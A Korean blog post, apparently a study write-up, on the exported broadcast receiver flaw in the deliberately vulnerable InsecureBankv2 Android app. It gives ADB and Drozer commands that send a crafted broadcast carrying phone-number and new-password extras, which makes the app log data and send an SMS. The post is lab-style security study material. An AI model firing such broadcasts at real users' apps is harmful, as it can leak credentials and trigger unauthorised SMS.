Self-Improvement
[InsecureBankv2] Flawed Broadcast Receivers 본문
Flawed Broadcast Receivers
브로드캐스트는 전화를 받거나 화면을 껐다 켜거나 스마트폰을 종료했다가 다시 전원을 켜는 등 특정 행동을 했을 때 Intent를 통해 발송되어지며 브로드캐스트 리비서가 수신하여 앱에 행동을 전달하게 된다.
즉, "전원을 겨면 이앱을 실행하라" 라던가 "화면을 켜면 앱에서 실행 중인 음악을 종료하라" 등의 명령을 브로드캐스트로 이용할 수 있다.
어플리케이션이 브로드캐스트를 받기 위해서는 AndroidManifest.xml에 <receiver> 태그로 브로드캐스트 리비서를 등록 해야한다
단, 안드로이드 8.0 부터 몇몇을 제외한 나머지 브로드캐스트 리시버를 AndroidManifest.xml에 등록할 수 없게 되었다.
https://developer.android.com/guide/components/broadcast-exceptions
AndroidManifest.xml 내용에서 <receiver> 태그를 보면 exported 설정이 true이며 MyBroadCastReceiver 클래스로 선언되어있으며 action은 "theBroadcast"이다.
MyBroadCastReceiver 클래스 onReceive() 메소드를 보면 phonenumber, newpass 2개의 인자값을 받은 후 mySharedPreferences에서 데이터를 가져와 로그를 출력하고 SMS으로 전송하고 있다.
ADB
ADB를 이용하여 해당 브로드캐스트를 전송해보자
adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver --es pho nenumber 1337 --es newpass hi
Drozer
특정 앱에서만 보낼 수 있는지 혹은 아무나 보낼 수 있는지 권한 확인
run app.broadcast.info -a com.android.insecurebankv2
run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1337 --extra string newpass 1234
'AOS > InsecureBankv2' 카테고리의 다른 글
[InsecureBankv2] Intent Sniffing and Injection (암시적 & 명시적) (0) | 2021.12.30 |
---|---|
[InsecureBankv2] Android Pasteboard vulnerability (0) | 2021.12.30 |
[InsecureBankv2] Exported Content Provider (ADB, Drozer) (0) | 2021.12.29 |
[InsecureBankv2] Sensitive Information in Memory (Fridump) (0) | 2021.12.29 |
[InsecureBankv2] Insecure WebView Implementation & External Storage (WebView) (0) | 2021.12.29 |